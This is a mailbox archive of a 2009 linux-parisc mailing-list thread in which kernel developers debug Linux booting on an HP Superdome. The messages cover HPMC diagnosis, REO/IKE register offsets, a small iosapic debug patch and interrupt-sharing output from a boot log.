X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Wed, 11 Feb 2009 00:23:12 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20090211072312.GA19531@colo.lackof.org>
References: <20090207142906.GA8553@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234337016 6598 80.91.229.12 (11 Feb 2009 07:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Feb 2009 07:23:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 11 08:24:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LX9Sj-0001l8-Je
	for glpp-linux-parisc@gmane.org; Wed, 11 Feb 2009 08:24:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752355AbZBKHX1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Feb 2009 02:23:27 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752556AbZBKHX1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Feb 2009 02:23:27 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:39174 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752355AbZBKHX0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Feb 2009 02:23:26 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 7B6883F8180;
	Wed, 11 Feb 2009 00:23:24 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18456-09; Wed, 11 Feb 2009 00:23:13 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0B5B83F817D; Wed, 11 Feb 2009 00:23:12 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20090207142906.GA8553@alpha.franken.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1272
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1272>

On Sat, Feb 07, 2009 at 03:29:06PM +0100, Thomas Bogendoerfer wrote:
> Hi,
> 
> thanks to Madze, I've now access to a HP Superdome;-)

Wow...that's so cool...I didn't this would happen. :)

> The bigger partition produces following boot log:
...

> The smaller partion hangs even earlier:
> 
> HARD Booted.
> palo ipl 1.14 root@duet Sat Apr  8 16:08:16 EDT 2006
> 
> Boot image contains:
>     0/vmlinux64 6484269 bytes @ 0xa000
...
> SBA found REO rev 2 at 0xfffffff888000000
> Elroy version TR4.0 (0x5) found at 0xfffffff884000000
> 
> 
> First guess would be some PCI setup issues... Any hints ?

Look for HPMC's. The console can't keep up with the kernel in general.
When an HPMC occurs, some of the output can get stranded.

I would add "initcall_debug=1" to boot parameters. See kernel/main.c.
Possible add a mdelay(100) after each initcall.

Since Tulip configured properly, I'm going to assume PCI resources
were properly assigned and all PCI Busses enumerated. PCI support
shouldn't be any different than for other PAT PDC machines.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Wed, 11 Feb 2009 11:00:52 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20090211100052.GA6371@alpha.franken.de>
References: <20090207142906.GA8553@alpha.franken.de> <20090211072312.GA19531@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234346828 4169 80.91.229.12 (11 Feb 2009 10:07:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Feb 2009 10:07:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 11 11:08:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LXC10-00082L-6Q
	for glpp-linux-parisc@gmane.org; Wed, 11 Feb 2009 11:08:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755936AbZBKKG7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Feb 2009 05:06:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756096AbZBKKG7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Feb 2009 05:06:59 -0500
Original-Received: from elvis.franken.de ([193.175.24.41]:36141 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755936AbZBKKG6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Feb 2009 05:06:58 -0500
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1LXBzc-0002f1-00; Wed, 11 Feb 2009 11:06:56 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 547B21DA328; Wed, 11 Feb 2009 11:00:52 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20090211072312.GA19531@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1273>

On Wed, Feb 11, 2009 at 12:23:12AM -0700, Grant Grundler wrote:
> > First guess would be some PCI setup issues... Any hints ?
> 
> Look for HPMC's. The console can't keep up with the kernel in general.
> When an HPMC occurs, some of the output can get stranded.

never saw an HPMC, but I'm sure it's because lots of output gets lost...

I've done some hacking yesterday and it looks like the basic
problem is, that REO isn't handled properly. As a start it would
be good to know, if the used IOC_IKE_OFFSET in sba_iommu.c is really
correct...

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Wed, 11 Feb 2009 09:26:41 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20090211162641.GB3624@parisc-linux.org>
References: <20090207142906.GA8553@alpha.franken.de> <20090211072312.GA19531@colo.lackof.org> <20090211100052.GA6371@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234369641 22254 80.91.229.12 (11 Feb 2009 16:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Feb 2009 16:27:21 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 11 17:28:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LXHwk-00071S-Ng
	for glpp-linux-parisc@gmane.org; Wed, 11 Feb 2009 17:28:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756528AbZBKQ07 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Feb 2009 11:26:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756161AbZBKQ06
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Feb 2009 11:26:58 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:43791 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757313AbZBKQ06 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Feb 2009 11:26:58 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id AEC5C49400E; Wed, 11 Feb 2009 09:26:41 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20090211100052.GA6371@alpha.franken.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1274
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1274>

On Wed, Feb 11, 2009 at 11:00:52AM +0100, Thomas Bogendoerfer wrote:
> On Wed, Feb 11, 2009 at 12:23:12AM -0700, Grant Grundler wrote:
> > > First guess would be some PCI setup issues... Any hints ?
> > 
> > Look for HPMC's. The console can't keep up with the kernel in general.
> > When an HPMC occurs, some of the output can get stranded.
> 
> never saw an HPMC, but I'm sure it's because lots of output gets lost...
> 
> I've done some hacking yesterday and it looks like the basic
> problem is, that REO isn't handled properly. As a start it would
> be good to know, if the used IOC_IKE_OFFSET in sba_iommu.c is really
> correct...

I've worked my contacts who're still at HP, and can confirm that REO is
basically the same as IKE.  While the terminology has changed, function
0 is the SBA, function 2 is IOC 0 and function 3 is IOC 1, just as with
Ike.  The Rope Control registers are offset in the 0x200 range, the
IOTLB registers are in the 0x300 range and ROPE_CONFIG is at 0x40.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Wed, 11 Feb 2009 10:02:32 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20090211170232.GA4644@colo.lackof.org>
References: <20090207142906.GA8553@alpha.franken.de> <20090211072312.GA19531@colo.lackof.org> <20090211100052.GA6371@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234371789 30480 80.91.229.12 (11 Feb 2009 17:03:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Feb 2009 17:03:09 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 11 18:04:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LXIVR-0006Dl-VL
	for glpp-linux-parisc@gmane.org; Wed, 11 Feb 2009 18:04:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757253AbZBKRCp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Feb 2009 12:02:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757152AbZBKRCp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Feb 2009 12:02:45 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:46949 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755329AbZBKRCo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Feb 2009 12:02:44 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 28E42298015;
	Wed, 11 Feb 2009 10:02:43 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04247-05; Wed, 11 Feb 2009 10:02:32 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CF78E298043; Wed, 11 Feb 2009 10:02:32 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20090211100052.GA6371@alpha.franken.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1275
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1275>

On Wed, Feb 11, 2009 at 11:00:52AM +0100, Thomas Bogendoerfer wrote:
> On Wed, Feb 11, 2009 at 12:23:12AM -0700, Grant Grundler wrote:
> > > First guess would be some PCI setup issues... Any hints ?
> > 
> > Look for HPMC's. The console can't keep up with the kernel in general.
> > When an HPMC occurs, some of the output can get stranded.
> 
> never saw an HPMC, but I'm sure it's because lots of output gets lost...

I only check the "ser pim" output at PDC prompt.
I don't know any other reliable way. Even with HPUX.

grant

> 
> I've done some hacking yesterday and it looks like the basic
> problem is, that REO isn't handled properly. As a start it would
> be good to know, if the used IOC_IKE_OFFSET in sba_iommu.c is really
> correct...
> 
> Thomas.
> 
> -- 
> Crap can work. Given enough thrust pigs will fly, but it's not necessary a
> good idea.                                                [ RFC1925, 2.3 ]
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Wed, 11 Feb 2009 13:14:25 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20090211181425.GA27133@bombadil.infradead.org>
References: <20090207142906.GA8553@alpha.franken.de> <20090211072312.GA19531@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234376078 14483 80.91.229.12 (11 Feb 2009 18:14:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Feb 2009 18:14:38 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 11 19:15:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LXJck-0003Y3-DC
	for glpp-linux-parisc@gmane.org; Wed, 11 Feb 2009 19:15:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753890AbZBKSO2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Feb 2009 13:14:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753942AbZBKSO2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Feb 2009 13:14:28 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49481 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753890AbZBKSO1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Feb 2009 13:14:27 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LXJbN-0005ce-7L; Wed, 11 Feb 2009 18:14:25 +0000
Content-Disposition: inline
In-Reply-To: <20090211072312.GA19531@colo.lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1276
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1276>

On Wed, Feb 11, 2009 at 12:23:12AM -0700, Grant Grundler wrote:
> Look for HPMC's. The console can't keep up with the kernel in general.
> When an HPMC occurs, some of the output can get stranded.
> 
> I would add "initcall_debug=1" to boot parameters. See kernel/main.c.
> Possible add a mdelay(100) after each initcall.
> 
> Since Tulip configured properly, I'm going to assume PCI resources
> were properly assigned and all PCI Busses enumerated. PCI support
> shouldn't be any different than for other PAT PDC machines.
> 

The interrupt assignment looks a little wonky, don't you think?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Wed, 11 Feb 2009 13:28:47 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <20090211182847.GB27133@bombadil.infradead.org>
References: <20090207142906.GA8553@alpha.franken.de> <20090211072312.GA19531@colo.lackof.org> <20090211181425.GA27133@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234376941 17611 80.91.229.12 (11 Feb 2009 18:29:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Feb 2009 18:29:01 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 11 19:30:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LXJqg-0000wo-QI
	for glpp-linux-parisc@gmane.org; Wed, 11 Feb 2009 19:30:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751340AbZBKS2w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Feb 2009 13:28:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754701AbZBKS2w
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Feb 2009 13:28:52 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:41811 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754158AbZBKS2w (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Feb 2009 13:28:52 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LXJpH-0007hG-RR; Wed, 11 Feb 2009 18:28:47 +0000
Content-Disposition: inline
In-Reply-To: <20090211181425.GA27133@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1277
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1277>

On Wed, Feb 11, 2009 at 01:14:25PM -0500, Kyle McMartin wrote:
> > I would add "initcall_debug=1" to boot parameters. See kernel/main.c.
> > Possible add a mdelay(100) after each initcall.
> > 
> > Since Tulip configured properly, I'm going to assume PCI resources
> > were properly assigned and all PCI Busses enumerated. PCI support
> > shouldn't be any different than for other PAT PDC machines.
> > 
> 
> The interrupt assignment looks a little wonky, don't you think?

Try this?

diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 7beffca..25eaf6e 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -153,8 +153,8 @@
 
 /* "local" compile flags */
 #undef PCI_BRIDGE_FUNCS
-#undef DEBUG_IOSAPIC
-#undef DEBUG_IOSAPIC_IRT
+#define DEBUG_IOSAPIC
+#define DEBUG_IOSAPIC_IRT
 
 
 #ifdef DEBUG_IOSAPIC
@@ -479,7 +479,7 @@ iosapic_xlate_pin(struct iosapic_info *isi, struct pci_dev *pcidev)
 	pci_read_config_byte(pcidev, PCI_INTERRUPT_PIN, &intr_pin);
 
 	DBG_IRT("iosapic_xlate_pin(%s) SLOT %d pin %d\n",
-		pcidev->slot_name, PCI_SLOT(pcidev->devfn), intr_pin);
+		pci_slot_name(pcidev->slot), PCI_SLOT(pcidev->devfn), intr_pin);
 
 	if (intr_pin == 0) {
 		/* The device does NOT support/use IRQ lines.  */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Wed, 11 Feb 2009 12:29:24 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <20090211192924.GB4644@colo.lackof.org>
References: <20090207142906.GA8553@alpha.franken.de> <20090211072312.GA19531@colo.lackof.org> <20090211181425.GA27133@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234380588 31333 80.91.229.12 (11 Feb 2009 19:29:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Feb 2009 19:29:48 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 11 20:31:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LXKnW-0008UR-M5
	for glpp-linux-parisc@gmane.org; Wed, 11 Feb 2009 20:31:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757130AbZBKT3i (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Feb 2009 14:29:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757155AbZBKT3i
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Feb 2009 14:29:38 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:49471 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757033AbZBKT3h (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Feb 2009 14:29:37 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4A2854F807F;
	Wed, 11 Feb 2009 12:29:35 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17089-05; Wed, 11 Feb 2009 12:29:24 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D6F5F3F8177; Wed, 11 Feb 2009 12:29:24 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20090211181425.GA27133@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1278>

On Wed, Feb 11, 2009 at 01:14:25PM -0500, Kyle McMartin wrote:
> On Wed, Feb 11, 2009 at 12:23:12AM -0700, Grant Grundler wrote:
> > Look for HPMC's. The console can't keep up with the kernel in general.
> > When an HPMC occurs, some of the output can get stranded.
> > 
> > I would add "initcall_debug=1" to boot parameters. See kernel/main.c.
> > Possible add a mdelay(100) after each initcall.
> > 
> > Since Tulip configured properly, I'm going to assume PCI resources
> > were properly assigned and all PCI Busses enumerated. PCI support
> > shouldn't be any different than for other PAT PDC machines.
> > 
> 
> The interrupt assignment looks a little wonky, don't you think?

Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
serial 0000:00:00.0: enabling device (0146 -> 0147)
0000:00:00.0: ttyS0 at MMIO 0xfffffff000000000 (irq = 65) is a 16550A
console handover: boot [ttyB0] -> real [ttyS0]
0000:00:00.0: ttyS1 at MMIO 0xfffffff000000008 (irq = 65) is a 16550A
0000:00:00.0: ttyS2 at MMIO 0xfffffff000000010 (irq = 65) is a 16550A
brd: module loaded
loop: module loaded
Linux Tulip driver version 1.1.15 (Feb 27, 2007)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21142/43 Tulip rev 65 at Port 0x80, 00:30:6e:0e:b2:5f,
IRQ 65.


"IRQ 65" on it's own could be ok.
The fact the serial port and tulip share the IRQ seems odd.

Your suggestion to enable iosapic debug code is a good one.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Hacking SuperDome
Date: Wed, 11 Feb 2009 19:36:28 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20090212003628.GA9042@bombadil.infradead.org>
References: <20090207142906.GA8553@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1234399012 28993 80.91.229.12 (12 Feb 2009 00:36:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Feb 2009 00:36:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 12 01:38:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
